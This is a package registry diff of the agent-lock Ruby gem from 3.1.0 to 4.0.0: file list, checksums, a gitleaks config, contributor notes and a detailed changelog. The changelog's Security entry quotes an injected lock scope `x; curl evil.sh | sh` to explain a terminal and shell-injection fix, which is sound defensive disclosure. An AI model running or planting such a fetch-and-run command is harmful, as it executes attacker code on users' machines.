agent-lock 3.1.0 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. checksums.yaml +4 -4
  2. data/.gitleaks.toml +23 -0
  3. data/AGENTS.md +11 -17
  4. data/CHANGELOG.md +124 -3
  5. data/README.md +496 -100
  6. data/Rakefile +13 -6
  7. data/docs/badges/coverage_badge.svg +21 -0
  8. data/docs/badges/yardoc.svg +1 -0
  9. data/docs/img/alock-sequence.avif +0 -0
  10. data/docs/img/alock-sequence.md +29 -0
  11. data/docs/img/alock-sequence.png +0 -0
  12. data/lefthook.yml +39 -0
  13. data/lib/agent/lock/cli/commands/acquire.rb +25 -19
  14. data/lib/agent/lock/cli/commands/base.rb +59 -23
  15. data/lib/agent/lock/cli/commands/break.rb +12 -7
  16. data/lib/agent/lock/cli/commands/check.rb +10 -9
  17. data/lib/agent/lock/cli/commands/completion.rb +15 -32
  18. data/lib/agent/lock/cli/commands/list.rb +46 -37
  19. data/lib/agent/lock/cli/commands/listing.rb +170 -0
  20. data/lib/agent/lock/cli/commands/mine.rb +7 -5
  21. data/lib/agent/lock/cli/commands/note.rb +13 -9
  22. data/lib/agent/lock/cli/commands/release.rb +10 -7
  23. data/lib/agent/lock/cli/commands/release_all.rb +7 -5
  24. data/lib/agent/lock/cli/commands/resume.rb +13 -7
  25. data/lib/agent/lock/cli/commands/show.rb +172 -0
  26. data/lib/agent/lock/cli/commands/skills.rb +28 -19
  27. data/lib/agent/lock/cli/commands/switch_backend.rb +205 -0
  28. data/lib/agent/lock/cli/commands/tree_command.rb +72 -0
  29. data/lib/agent/lock/cli/commands/version.rb +2 -1
  30. data/lib/agent/lock/cli/commands/whoami.rb +7 -3
  31. data/lib/agent/lock/cli.rb +63 -19
  32. data/lib/agent/lock/error.rb +52 -1
  33. data/lib/agent/lock/facade/async.rb +83 -0
  34. data/lib/agent/lock/facade/backend.rb +133 -0
  35. data/lib/agent/lock/facade/memo.rb +30 -0
  36. data/lib/agent/lock/facade/refusal.rb +78 -0
  37. data/lib/agent/lock/facade/session.rb +142 -0
  38. data/lib/agent/lock/facade/strategies.rb +36 -0
  39. data/lib/agent/lock/facade.rb +369 -0
  40. data/lib/agent/lock/freeze.rb +59 -5
  41. data/lib/agent/lock/identity.rb +63 -5
  42. data/lib/agent/lock/launcher.rb +17 -1
  43. data/lib/agent/lock/manager/enforcement.rb +98 -0
  44. data/lib/agent/lock/manager/switch.rb +91 -0
  45. data/lib/agent/lock/manager/thaw.rb +68 -0
  46. data/lib/agent/lock/manager.rb +176 -79
  47. data/lib/agent/lock/process_info/legacy_start.rb +60 -0
  48. data/lib/agent/lock/process_info.rb +42 -11
  49. data/lib/agent/lock/record.rb +124 -10
  50. data/lib/agent/lock/scope.rb +49 -4
  51. data/lib/agent/lock/skill.rb +14 -10
  52. data/lib/agent/lock/store/backend_name.rb +62 -0
  53. data/lib/agent/lock/store/file_system_store.rb +20 -1
  54. data/lib/agent/lock/store/redis_index.rb +179 -0
  55. data/lib/agent/lock/store/redis_store.rb +191 -33
  56. data/lib/agent/lock/store.rb +180 -19
  57. data/lib/agent/lock/text.rb +62 -0
  58. data/lib/agent/lock/tree.rb +143 -16
  59. data/lib/agent/lock/version.rb +2 -1
  60. data/lib/agent/lock.rb +3 -0
  61. data/skills/agent-lock/SKILL.md +75 -10
  62. metadata +41 -22
  63. data/justfile +0 -127
  64. data/sig/agent/lock.rbs +0 -6
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 45e7c0e68bb173ac3a8ff2f05626a18c0f84c932f61bebe55162206362f25214
4
- data.tar.gz: 9a5abc2c815b315a46b9dd72002b3f790c588d486bf1f8f5be9294bf17d6e404
3
+ metadata.gz: 52bc3339a04d378656c241c1e28e10cf2a8a420515973a96dd4bf67d4792b784
4
+ data.tar.gz: 47586640dcd380eccb20225bc2a0bbc7e3ca5e63d31609c7b8f577037b002950
5
5
  SHA512:
6
- metadata.gz: 0d560c2b7ec0b568744fae8918486e0fb8fa621f6123d7ad6880319f5eb6822f5ab651a5ffc2fdc6722e43e16a110259cfb11b55d86a9733af318c2da9493b7f
7
- data.tar.gz: 0d3b0c50a64864e64f467a58d373e59b552f0e1b08704c1dd2723adcc532f3bf6f50fc85e401b13b2c1614b4f569c314b7b93b2aff49428943a564a8513b6994
6
+ metadata.gz: 1a31e74400d16a99af0da6d433ec2861cd14738eb79a7f3fe2ca079b3a74f29bed0d8b2fad3ead880d01c677c2ae22bc74b99fb62f2187349b8eac12054d3daa
7
+ data.tar.gz: d501365d450dd868e0661836bac2f649106b551826529bedb70d9296c4a2d340c60ec1ee22bfe43d3d3ffaf87f706b724ace549201f104c057e1ac47350170d3
data/.gitleaks.toml ADDED
@@ -0,0 +1,23 @@
1
+ # Gitleaks configuration. Extends the built-in ruleset; does not replace it.
2
+ # Docs: https://github.com/gitleaks/gitleaks
3
+ #
4
+ # Read by the pre-commit hook in lefthook.yml.
5
+
6
+ title = "agent-lock gitleaks config"
7
+
8
+ [extend]
9
+ # Inherit gitleaks' default rules and only add the allowlists below.
10
+ useDefault = true
11
+
12
+ [[allowlists]]
13
+ description = "Example env files and committed spec fixtures (never real secrets)"
14
+ paths = [
15
+ '''(^|/)\.env\.example$''',
16
+ '''(^|/)spec/fixtures/.*''',
17
+ ]
18
+
19
+ [[allowlists]]
20
+ description = "Obvious non-secret placeholders"
21
+ regexes = [
22
+ '''(?i)\b(localhost|example\.com|changeme|placeholder|dummy|xxxx+)\b''',
23
+ ]
data/AGENTS.md CHANGED
@@ -12,12 +12,12 @@ redis_version:8.8.0 # success
12
12
  # when redis is not running, it return this:
13
13
  Could not connect to Redis at 127.0.0.1:6379: Connection refused
14
14
 
15
- # default backend (redis) if it's available
16
- AGENT_LOCK_TEST_BACKEND=redis
17
- bundle exec rspec
15
+ # the suite's default backend, the file store (a bare `bundle exec rspec` is the same run)
16
+ AGENT_LOCK_TEST_BACKEND=file bundle exec rspec
18
17
 
19
- # same suite, against (file-system) locking
20
- AGENT_LOCK_TEST_BACKEND=file bundle exec rspec
18
+ # same suite, against Redis. The variable goes on the same line as the command:
19
+ # on a line of its own it is a shell variable rspec never sees, and both runs use the file store
20
+ AGENT_LOCK_TEST_BACKEND=redis bundle exec rspec
21
21
 
22
22
  # lint
23
23
  bundle exec rubocop
@@ -25,7 +25,7 @@ bundle exec rubocop
25
25
 
26
26
  Both spec runs and rubocop must be clean. CI (`.github/workflows/main.yml`) runs the suite once per backend plus rubocop as a third, independent job — a change that only passes one backend, or that is only checked against one, is not verified.
27
27
 
28
- A `justfile` exists for the rest (`just test`, `just ci`, `just format`, `just publish`, `just release`). **`just lint` currently names `standardrb`, which is not a dependency of this gem** — that recipe does not work; use `bundle exec rubocop` instead until it's reconciled.
28
+ A `justfile` exists for the rest (`just lint`, `just test`, `just ci`, `just format`, `just doc`, `just publish`, `just release`). `rake doc` builds the YARD site into the git-ignored `doc/` from `.yardopts` and opens `doc/index.html`; keep `yard stats --list-undoc` at 100% with no warnings.
29
29
 
30
30
  ## The dual-backend test suite
31
31
 
@@ -33,22 +33,16 @@ A `justfile` exists for the rest (`just test`, `just ci`, `just format`, `just p
33
33
 
34
34
  If you add a spec that is inherently about one backend's own on-disk or on-Redis shape (not just the `Store` contract both satisfy), pin it to that backend explicitly regardless of `AGENT_LOCK_TEST_BACKEND` — see `manager_spec.rb`'s "the store the locks live in" block for the pattern.
35
35
 
36
- Redis-backed tests use a fixed test database (`RedisHelpers::TEST_REDIS_URL`, `spec/support/redis.rb`), never whatever `REDIS_URL` happens to be set to in the shell — a `flush_test_redis!` runs after every example. Do not make that depend on an ambient env var again; an unrelated project's `.envrc` exporting `REDIS_URL` is exactly the failure mode that guards against, and it has bitten this exact repo's own tooling (see the git log for "Never let ambient REDIS_URL decide what the suite flushes").
36
+ Redis-backed tests use a fixed test database (`RedisHelpers::TEST_REDIS_URL`, `spec/support/redis.rb`), never whatever `REDIS_URL` happens to be set to in the shell: `spec_helper.rb` overwrites `REDIS_URL` with it and removes `AGENT_LOCK_REDIS_URL` at load, for both backends. On the redis backend a `flush_test_redis!` runs after every example. `facade_redis_spec.rb` needs two separate lockers, so it also owns `RedisHelpers::SECOND_TEST_REDIS_URL` (database 14) and flushes that itself. Do not make that depend on an ambient env var again; an unrelated project's `.envrc` exporting `REDIS_URL` is exactly the failure mode that guards against, and it has bitten this exact repo's own tooling (see the git log for "Never let ambient REDIS_URL decide what the suite flushes").
37
37
 
38
38
  ## Naming: `FileSystemStore` / `RedisStore`, not `FileSystem` / `Redis`
39
39
 
40
- The two backend classes are named with a `Store` suffix (`Agent::Lock::Store::FileSystemStore`, `Agent::Lock::Store::RedisStore`), deliberately, so that `RedisStore.new` inside `lib/agent/lock/store/redis_store.rb` is never confused with `Redis.new` (the `redis` gem's own client class) at a glance. Any reference to the gem's `Redis` class from inside `Agent::Lock::Store::RedisStore` still needs a leading `::` to escape the enclosing module, but keeping the class itself named `RedisStore` avoids the sharper version of that trap, where an *unqualified* `Redis` inside a class literally named `Redis` silently resolves to itself.
40
+ The two backend classes are named with a `Store` suffix (`Agent::Lock::Store::FileSystemStore`, `Agent::Lock::Store::RedisStore`), deliberately, so that `RedisStore.new` inside `lib/agent/lock/store/redis_store.rb` is never confused with `Redis.new` (the `redis` gem's own client class) at a glance. A reference to the gem's `Redis` class from inside `Agent::Lock::Store::RedisStore` resolves with or without a leading `::`, because nothing in `Agent::Lock::Store` is named `Redis`, and the code uses both spellings (`::Redis.new`, `rescue Redis::CannotConnectError` in `redis_store.rb`, `rescue Redis::CommandError` in `redis_index.rb`). Keeping the class named `RedisStore` is what makes that safe: an *unqualified* `Redis` inside a class literally named `Redis` silently resolves to itself.
41
41
 
42
42
  ## Backend selection is a security-relevant path
43
43
 
44
- `Store.for` decides a virgin tree's backend once and records it in a marker file; every later process in that tree is bound to it regardless of what Redis is doing. That marker is claimed atomically (`O_CREAT|O_EXCL`) so two processes racing to open the same virgin tree can't end up on different backends and silently stop seeing each other's locks — worse than no lock at all. See `lib/agent/lock/store.rb`'s moduledoc before changing anything in `.for`, `.claim`, or `.default_backend`.
44
+ `Store.for` decides a virgin tree's backend once and records it in a marker file; every later process in that tree is bound to it regardless of what Redis is doing. That marker is claimed atomically (a temp file hard-linked into place, `O_CREAT|O_EXCL` where links are unsupported; an empty marker raises `Store::Mismatch`) so two processes racing to open the same virgin tree can't end up on different backends and silently stop seeing each other's locks — worse than no lock at all. See `lib/agent/lock/store.rb`'s moduledoc before changing anything in `.for`, `.claim`, or `.default_backend`.
45
45
 
46
- ## Branch stacking
46
+ ## Known gaps
47
47
 
48
- `kig/add-autocomplete` (PR #4) is currently rebased on top of `kig/fix-concurrent-agent-locking` (PR #3), not on `main`, to keep them from diverging into a large manual conflict resolution later. Its diff against `main` will look large — it includes PR #3's commits — until PR #3 merges. If you rebase either branch again, verify both spec backends and rubocop afterward per the checks above, and force-push with `--force-with-lease`.
49
-
50
- ## Known gaps
51
-
52
- ## (not yet fixed, tracked via PR review comments on PR #3)
53
-
54
- `Manager`'s store-wide mutex covers `acquire`/`resume` but not `note`, `release`, `break_lock`, `release_all`, or the bare `reap` in `list`/`mine`; those still do read-modify-write outside it. The Redis mutex lease is not renewed while its critical section runs, so a slow `reap` (which can shell out to `ps` per local holder) can outlive it. Treat any change that widens what runs inside those bare `reap` calls, or that makes a critical section slower, as touching this.
48
+ Every `Manager` verb that reads and then writes the store (`acquire`, `resume`, `note`, `release`, `break_lock`, `release_all`, `reap`, and the reaping before `check`/`list`/`mine`) runs inside the store-wide mutex. That mutex is not re-entrant on the file store, so a verb never calls another verb inside it: inside the mutex, reaping is the private `sweep`. `acquire --enforce` freezes outside the mutex (a tree walk and `chflags`), then `Manager::Enforcement` re-reads the lock under the mutex and writes the frozen paths only into the claim it won. Two `--enforce` acquires racing over one scope can still disagree about which files are frozen: `chflags` itself runs unlocked. The Redis mutex lease (`MUTEX_LEASE_MS`, 10s) is not renewed while its critical section runs, so a slow `reap` (which can shell out to `ps` per local holder) can outlive it and raise `LEASE_LOST`. Treat any change that makes a critical section slower as touching this.
data/CHANGELOG.md CHANGED
@@ -2,17 +2,138 @@
2
2
 
3
3
  ## [Unreleased]
4
4
 
5
+ ### Upgrading from 4.0.0
6
+
7
+ - **A remote with an upper-case letter gets a new lock key** (#58). Repository names are lower-cased whole, owner and repository included. On Redis, locks 4.0.0 took in such a checkout stay under the old label (`[alock-v4-Acme/App]`), which this version neither reads nor releases: run `alock release-all` in every session before upgrading, and upgrade every host that shares the Redis together. `show repos` still lists the old label, and `redis-cli --scan --pattern '\[alock-v4-Acme/App\]*' | xargs redis-cli del` removes it. On the file store such locks are still honoured, released and reaped in the checkout that took them. An all-lower-case remote is not affected.
8
+ - **Scopes are compared with case folded, on every filesystem** (#58). `README.md` and `readme.md` now conflict, on a case-sensitive filesystem too, where they are two files. A lock keeps the spelling and the id it was taken under.
9
+ - **A numeric owner cloned over scp-style SSH gets a new lock key** (#53). `git@github.com:123/app.git` is named `github.com/123/app`, where 4.0.0 named it `github.com/app`. Locks taken under the old name are not seen: release them before upgrading.
10
+ - **A fingerprint session gets a new holder id, once** (#60). A running session that sets neither `AGENT_ID` nor `CLAUDE_SESSION_ID` no longer matches the locks it took with 4.0.0. Run `alock release-all` in it before upgrading, or clear them afterwards with `alock break <path>`. A lock now records its holder's start time as `started_at`, in UTC; the old `started` is read and no longer written, so a 4.0.0 gem reading a new lock goes by the pid alone.
11
+ - **`check` answers `FREE`, not `YOURS`, for a scope wider than your own lock** (#59). Holding `lib/a.rb` and asking about `lib/**` is `FREE` (`:free` from Ruby, `[]` with `--json`), because `acquire` would write a new lock there. A script that read `YOURS` as "this whole scope is mine" has to `acquire` the wider scope.
12
+ - **`acquire --enforce` freezes dotfiles** (#61). Files in dot-directories now count toward the 500-file limit, so a whole-tree `--enforce` that fitted before may be refused: narrow the scope or pass `--allow-wide`. Anything named `.git`, at any depth, and the lock store are never frozen.
13
+ - **`alock list` prints a `store:` line on STDERR** (#57), with `--json` too. STDOUT is unchanged. A harness that reads both streams as one, or treats any STDERR output as a failure, sees one new line.
14
+ - **A relative `AGENT_LOCK_DIR` is read from the root of the checkout** (#50), not from the working directory. Locks 4.0.0 wrote from a subdirectory sit in a store under that subdirectory and are no longer read: release them before upgrading.
15
+ - **A remote whose password holds an unencoded `@` gets a new lock key** (#76). `https://me:p@ss@github.com/o/r` is named `github.com/o/r`, where 4.0.0 named it `ss@github.com/o/r`. Locks taken under the old name are not seen: release them before upgrading.
16
+ - **An `AGENT_LOCK_BACKEND` that names no backend exits 2** (#62), beside `AGENT_LOCK_REDIS_URL` too, where 4.0.0 read it as `redis`. Set it to `file` or `redis`, or unset it.
17
+
18
+ ### Added
19
+
20
+ - `alock show repos` and `alock show repo owner/name`, Redis only. `show repos` tables each `alock-v<major>-<owner>/<repo>` with its lock count and the memory those keys use. `show repo` tables that repository's locks: scope, holder, how long held, whether the holder is alive on this machine, and the `alock break` command that drops it. Neither command reads the file store. `show repo` with no name reads the repository of the checkout it runs in, taken from its origin remote, and `Facade#show_repo` does the same for its `dir:`. A repository on another forge is named with its host, `show repo gitlab.com/owner/name`. Control characters in a record print as escapes, so a planted branch name cannot split the `break` line into two commands. `show repos` warns on STDERR when keys from an older gem are still under `agent-lock:`.
21
+ - `alock switch-backend redis|filesystem`, which binds a checkout to the other store. Releasing every lock never moved the backend marker, so the only way out of a mismatch was deleting `.git/agent-locks/backend` by hand. It refuses with exit 1 while the old store still holds this checkout's locks, interrupted ones included, and lists them. `--discard-locks` deletes them, thawing what they froze, and switches. `-u` names the Redis to switch to, which has to answer before anything is deleted. From Redis, only locks taken on this host in a worktree of this checkout count. A command that was waiting on the old store while the switch ran exits 2 and asks to be run again, where it used to claim in the store nobody reads.
22
+ - A backend mismatch prints `HINT: run 'alock switch-backend <store>'` on the line after the error, uncoloured. `Agent::Lock::Error#command` carries that command for any error that has one.
23
+ - A scripted terminal demo, `demo/alock.gif`, shown at the top of the README: two agents and a sub-agent sharing one checkout. `demo/play.sh` types and runs every command for real against a throwaway repository, with a fixed subtitle row and its pauses written into the script. `just demo` records it again with VHS from `demo/alock.tape`, and `just demo-play` plays it in the terminal. The gem does not ship `demo/`.
24
+
25
+ ### Fixed
26
+
27
+ - A Redis URL's password no longer appears in an error. `RedisUnavailableError` from the facade, the store's mutex timeout, and `Store#describe` now mask the userinfo as `***`, as `alock` already did. The mask now also covers a password that was never percent-encoded and holds a space, a `/` or an `@`, which `alock` printed in full. A URL with no `scheme://` in front (`rey:secret@host`) is masked too, and `inspect` of a facade or a Redis store no longer shows the URL as given. `alock` masks any URL in an error it prints, whoever worded the error and whatever the password holds. A URL the facade cannot read raises `ArgumentError: not a Redis URL: ...`, masked and with no `cause`, in place of redis-rb's own error, which quoted the whole URL.
28
+ - An empty or whitespace-only `AGENT_LOCK_DIR` counts as unset, and a relative one resolves against the root of the checkout instead of the working directory, so every command in a checkout uses one store. (#50)
29
+ - A blank `REDIS_URL` no longer sends a facade to the file store beside a Redis that `alock` uses. (#52)
30
+ - An intent that contains `## Progress` no longer turns a dead holder's note-less lock into interrupted work. (#52)
31
+ - An all-digit owner is no longer dropped from an scp-style remote (`git@github.com:123/app.git`), so SSH and HTTPS clones of such a repository share one lock namespace again. (#53)
32
+ - Files frozen with `--enforce` are thawed in the checkout that froze them when their lock is reaped, released, discarded or resumed from another worktree on the same machine. They used to stay `uchg` with no record left to thaw them from. (#54)
33
+ - `just clean` no longer fails with exit 127, the `just publish` fallback no longer passes an option `gem push` rejects, and `just release` force-pushes only the tag being released instead of every local tag. (#55)
34
+ - The spec suite no longer reaches Redis database 0, or an exported `REDIS_URL` or `AGENT_LOCK_REDIS_URL`. Every Redis spec runs in the suite's own databases 15 and 14. (#56)
35
+ - `check` no longer answers `YOURS` for a scope only partly covered by the caller's own lock (holding `lib/a.rb`, asking about `lib/**`). It answers `FREE` unless one of the caller's locks contains the whole scope, as `acquire` does. (#59)
36
+ - A live holder's lock is no longer reaped, and a fingerprint session no longer changes its name, when `alock` runs under another `TZ` or locale. The holder's start time is recorded in UTC as `started_at`, where 4.0.0 stored `ps` output in the caller's time zone and language. Locks taken by 4.0.0 stay valid. The fingerprint id changes once for running sessions that set neither `AGENT_ID` nor `CLAUDE_SESSION_ID`: see "Upgrading from 4.0.0". (#60)
37
+ - `acquire --enforce` freezes dotfiles and the contents of dot-directories (`conf/.env`, `config/credentials/.key`), which the glob used to skip while reporting the scope frozen. `.git` at any depth and the lock store are never frozen. (#61)
38
+ - An `AGENT_LOCK_BACKEND` that names no backend is refused before a virgin checkout is claimed (blank is unset, `filesystem` is `file`), and `switch-backend` can leave a marker that names no backend. (#62)
39
+ - Seven examples that passed without testing what they describe now fail when the behaviour is removed. (#63)
40
+ - `switch-backend filesystem` runs with `AGENT_LOCK_REDIS_URL` set and, given `--discard-locks`, leaves a Redis that no longer answers, and says on STDERR which Redis was not read. A marker that names no backend points at `switch-backend`. (#64)
41
+ - A remote whose password holds an unencoded `@` (`https://me:p@ss@github.com/o/r`) no longer leaks the password's tail into the repository's name, and so into its Redis key, `alock show repo`, `show repos` and every lock record. Its locks are filed under `github.com/o/r`, beside its teammates' clones, where they used to sit under `ss@github.com/o/r` and never met. (#76)
42
+ - Specs run from a git hook no longer rewrite the repository's own `.git/config` ([#51](https://github.com/kigster/agent-lock/issues/51)). Git exports `GIT_DIR` and `GIT_INDEX_FILE` to hooks, so under the lefthook pre-commit job every `git init` and `git remote` a spec ran in a temp directory acted on the real repository: `core.bare` flipped to true and `remote.origin.url` was replaced. `spec_helper.rb` now drops every variable `git rev-parse --local-env-vars` lists, and `lefthook.yml` unsets them as well. `alock` itself ignores them too, so a hook that runs it with `--dir` naming another checkout locks that checkout, not the hook's.
43
+
44
+ ### Changed
45
+
46
+ - `alock list` (`ls`) prints this repository's locks as a table: namespace, holder, scope, status (`active`, `stale`, `interrupted`), and how long held. Progress notes are omitted unless `--notes`, which prints them on the row under that lock. `--json` is unchanged. A file-store listing says so above the table: the namespace is the Redis label, and `show` does not read those locks.
47
+ - When Redis has nothing and this checkout's locks are in the file store, `alock show repos` and `alock show repo` say so, and point at `alock list`.
48
+ - The mismatch error reads `this tree's locks live in file, not redis`. The old `release them before switching backends` is gone, since releasing them did not switch anything.
49
+ - **Breaking for Redis users:** a lock key is `[alock-v<major>-<owner>/<repo>]-<sha256>:<id>`. For `github.com/kigster/laser-cutter` on 4.x that label is `[alock-v4-kigster/laser-cutter]`. The SHA-256 is of `repository@branch`, so every worktree on that branch shares it, and a different branch hashes apart. A detached HEAD hashes `host:worktree-path`. `list` still reads every branch under the label, and the mutex is one per repository (`[alock-v4-kigster/laser-cutter]-mutex`), so a checkout that switched branches can still release the lock it took. GitHub keys drop the host. Any other forge keeps it, so `gitlab.com/kigster/laser-cutter` does not share a label with the GitHub repository. Every 4.x release shares the prefix, so hosts on different minors still exclude each other. Only a new major starts another one. Keys written as `agent-lock:<digest>` are not read and not reaped. Release them before upgrading, or delete them by hand when `AGENT_LOCK_TTL_SECONDS` is `0`. The file store is unchanged.
50
+ - **Breaking:** repository names are lower-cased whole (owner and repository, not only the host), so two clones whose remotes differ in case share their locks, and a checkout whose remote has an upper-case letter gets a new lock key. Scopes that differ only in case (`README.md`, `readme.md`) conflict on every filesystem. See "Upgrading from 4.0.0". (#58)
51
+ - `alock list` names the store in use on STDERR (`store: ...`): the file store's directory, or the Redis URL with any password masked and its namespace. It does so in text and with `--json`, as the README said it did. STDOUT is unchanged, so `--json` is still a bare array. (#57)
52
+ - The Ruby facade's default Redis is `redis://127.0.0.1:6379/0`, the one `alock` tries, rather than `redis://localhost:6379` ([#44](https://github.com/kigster/agent-lock/issues/44)). `Facade::DEFAULT_REDIS_URL` is now `Store::RedisStore::LOCAL_URL`, so the two are one constant. Same server and database in practice; a host where `localhost` resolves only to `::1` now reaches it over IPv4, as `alock` already did.
53
+ - Requires Ruby 4.0 ([#44](https://github.com/kigster/agent-lock/issues/44)). The gemspec said `>= 3.2.0`, but `dry-cli-autocomplete` 0.6, a runtime dependency, needs Ruby 4.0, so no 3.x Ruby could install the gem: CI tried 3.2 and 3.4, and `bundle install` failed on both.
54
+
55
+ ### Security
56
+
57
+ - A lock record can no longer drive the terminal it is printed on ([#31](https://github.com/kigster/agent-lock/issues/31)). Any process that can write to a shared Redis writes lock records, and `alock` printed their scope, agent ID and intent raw in about twenty places, so an escape sequence could clear the screen, rewrite earlier lines or show a fake link, and a scope like `x; curl evil.sh | sh` landed unquoted in a suggested `alock break` or `alock resume` line. Every printed field now goes through `Agent::Lock::Text.printable`, which shows C0 and C1 controls, DEL, bidi overrides and bytes that are not UTF-8 as escapes, and a scope inside a suggested command is shell-quoted. The facade's `Refused` messages are escaped the same way.
58
+
59
+ ## [4.0.0] - 2026-11-26
60
+
61
+ ### Added
62
+
63
+ - `Agent::Lock::Facade`: every command as a Ruby method, run in-process. `Agent::Lock.local` (file store), `Agent::Lock.distributed` (Redis, or `RedisUnavailableError`) and `Agent::Lock.facade` (Redis, else the file store). Thread-safe. See `README.md#ruby-api`.
64
+ - `Agent::Lock::Refused` and `Agent::Lock::RedisUnavailableError`.
65
+ - `Facade#acquire` takes a block: it yields the result, returns the block's value, and releases afterwards, even when the block raises, `break`s or `throw`s. Only a lock this call took is released, so a nested block on a scope you already hold keeps the outer lock. A refused release does not replace the block's own exception.
66
+ - `Facade.new(async: true)` and `Agent::Lock.facade(async: true)` add `#async`, which runs any lock method on concurrent-ruby's I/O pool and returns a `Concurrent::Promises::Future`. Arguments, keywords and blocks pass through as on a direct call. One facade's async calls run one at a time, in the order they were made. concurrent-ruby is not a direct dependency (`dry-cli-ui` currently installs it): add it to your Gemfile to rely on this; if it is missing, `async: true` raises `LoadError` naming the gem.
67
+ - `holder:` on `Facade.new` and `Agent::Lock.facade`. `:process`, the default, ties a lock's liveness to the Ruby process holding the facade, so a host that crashes has its locks reaped; `:session` keeps `alock`'s first-non-shell-ancestor rule. Only liveness changes: the holder id and the inferred parent still come from the session, so a script an agent runs is the same holder as that agent's `alock`.
68
+ - `alock --locking-strategy redis|filesystem` (`-s`) and `alock --redis-url URL` (`-u`), on every command that reads or writes locks. The caller names the store instead of leaving it to `AGENT_LOCK_BACKEND` or to whichever backend answers first, so an agent started by a dispatcher uses the dispatcher's store. `--redis-url` implies the Redis strategy and uses that one Redis with no fallback: a URL nobody answers on exits 2.
69
+ - A holder can say it has no parent: `parent_id: false` on `Facade.new`, `Agent::Lock.facade` and every lock method, and `AGENT_PARENT_ID` set and empty for `alock`. A service that names itself is otherwise inferred to be the child of the session that started it, and is not blocked by that session's locks. Unset still infers. `Identity#parent_source` answers `:none` for it.
70
+ - `AGENT_LOCK_REDIS_URL`: `--redis-url` from the environment, for a dispatcher to export to its agents. The facade reads it before `REDIS_URL`.
71
+ - `Agent::Lock.distributed(redis_url:)`, memoized per URL.
72
+ - `session_name:` on `Facade.new`, `Agent::Lock.facade` and every lock method. It names the session (a plan id, say) in place of `CLAUDE_SESSION_ID` and the fingerprint, and ties its locks to no process: they survive a host's restarts, a restarted host that gives the same name holds them still, and they lapse when untouched for `stale_minutes`.
73
+ - `alock -h` opens with a boxed title and the version, and links to the README's Ruby API section.
74
+ - A lefthook pre-commit config (rubocop, the staged specs, gitleaks) and a gitleaks config.
75
+
5
76
  ### Changed
6
77
 
7
- - **Breaking for Redis users:** locks are keyed by the repository and branch, not the checkout's absolute path. The Redis namespace and mutex are now `agent-lock:<repository digest>`, where the repository is the normalized `origin` URL, else the root commit, else the path outside git. Two machines on one Redis, or two clones on one machine, now block each other on overlapping scopes of the same branch, and checkouts on different branches (worktrees, typically) still do not. Locks taken by an earlier version under the old path-keyed namespace are not seen; release them before upgrading.
78
+ - **Breaking:** `alock acquire --force` is now `--allow-wide`, named for what it permits: `--enforce` freezing more than 500 files. The refusal says so.
79
+ - **Breaking:** `alock skills install --force` (`-f`) is now `--overwrite`, and `--into` loses its `-o` short flag, which every CLI here reserves for `--output`.
80
+ - An `AGENT_PARENT_ID` that is set and empty now means "no parent". It used to be ignored and the parent inferred, so a sub-agent with the variable exported empty by accident is now refused inside its orchestrator's lock. `alock whoami` names the cause.
81
+ - `--dir` is offered only by commands that read a checkout's locks. `version`, `whoami` and `skills` no longer list a flag that did nothing.
82
+ - Every command's help is rewritten: one-line descriptions that fit the command list, examples for `break`, `resume` and `mine`, and a top-level help that covers identity, backends and exit codes.
83
+ - `alock completion --help` shows each install example once; the zsh one no longer names `_alo`.
84
+ - `rake doc` builds the YARD site from `.yardopts` into the git-ignored `doc/` and opens `doc/index.html`. Every class, method, constant and attribute is documented.
85
+ - The gemspec and README no longer describe the gem as part of agentilda.
86
+ - **Breaking (Ruby):** `Manager#acquire(force:)` is now `wide:`, and `Skill#install(force:)` is now `overwrite:`, matching the CLI flags.
87
+ - The coverage badge in `docs/badges/` is rewritten only under `COVERAGE=true` (`just test-coverage`), so a plain `rspec` run leaves the checkout clean.
88
+
89
+ ### Fixed
90
+
91
+ - `alock` exits 2 with an `ERROR:` line on any error it did not expect. It used to print nothing and exit 0, so an `acquire` that died on a malformed `REDIS_URL` looked like a lock taken.
92
+ - `AGENT_LOCK_BACKEND=redis` with no Redis answering no longer claims a virgin tree for Redis before failing.
93
+
94
+ - Concurrent `note` calls on one lock no longer lose notes: `note`, `release`, `break`, `release-all`, `Manager#reap` and the reaping before `check`, `list` and `mine` now run inside the store mutex, as `acquire` and `resume` already did.
95
+ - `acquire --enforce` no longer overwrites the lock with the record it read before freezing. The write-back re-reads the lock under the store mutex, so a note written during the freeze is kept, a lock broken during the freeze stays broken, and another agent's lock taken in that window is neither replaced nor, on a freeze refused as too broad, deleted. A claim lost during the freeze is answered as `:held`, with the files thawed.
96
+ - A lock whose record names no pid is trusted for the stale window, like one held on another host, instead of being reaped at once as a dead holder's.
97
+ - A backend marker that exists but cannot be read raises `Store::Mismatch` naming the read error, instead of being reported as empty.
98
+ - The file store no longer raises `Errno::ENOENT` when several threads in one process rewrite the same lock (reaping, noting): each write gets its own temp file instead of one per process.
99
+ - A facade is bound by the checkout's backend marker like `alock`: it claims a new checkout for its backend and raises `Store::Mismatch` in one claimed for the other, so a facade and the CLI never take one scope in two stores.
100
+ - The backend marker is written to a temp file and hard-linked into place, so a process that loses the race for a new checkout never reads it empty. A marker that stays empty raises `Store::Mismatch` instead of letting each caller pick its own backend.
101
+ - A facade's Redis client uses the gem's default timeouts; the 0.2s timeout applies only to the connection probe.
102
+ - A fingerprint identity no longer contains spaces when the session's process has retitled itself (macOS reports a Claude Code background job as `claude bg-spare`). Only the first word is kept, so the holder id changes for such sessions. Before upgrading, release the locks such a session holds (`alock release-all`), or clear them afterwards with `alock break <path>`: the new id does not match the old one, so they read as another agent's.
103
+
104
+ ### Removed
105
+
106
+ - `sig/agent/lock.rbs`, an empty RBS stub. Types are declared in YARD.
107
+ - The `just update-workflow` recipe, which ran `tilda`. `just lint` now runs rubocop instead of the absent standardrb.
108
+
109
+ ## [3.1.0] - 2026-11-23
110
+
111
+ This release makes `agent-lock` a distributed lock. Until 3.0.0 a lock was named after the checkout's absolute path, so even with every machine pointed at one Redis, `/Users/a/repo` and `/home/b/repo` were two unrelated namespaces: each machine saw only its own locks, and two agents on two hosts could both claim `lib/billing/**` on `main` and both be told they won. A lock now names the repository and branch, which every clone of a repository agrees on wherever it sits. Pointed at one `REDIS_URL`, every machine reads and writes the same locks under the same store-wide mutex, so a claim on one host is refused on another. See `README.md#one-repository-many-machines`.
112
+
113
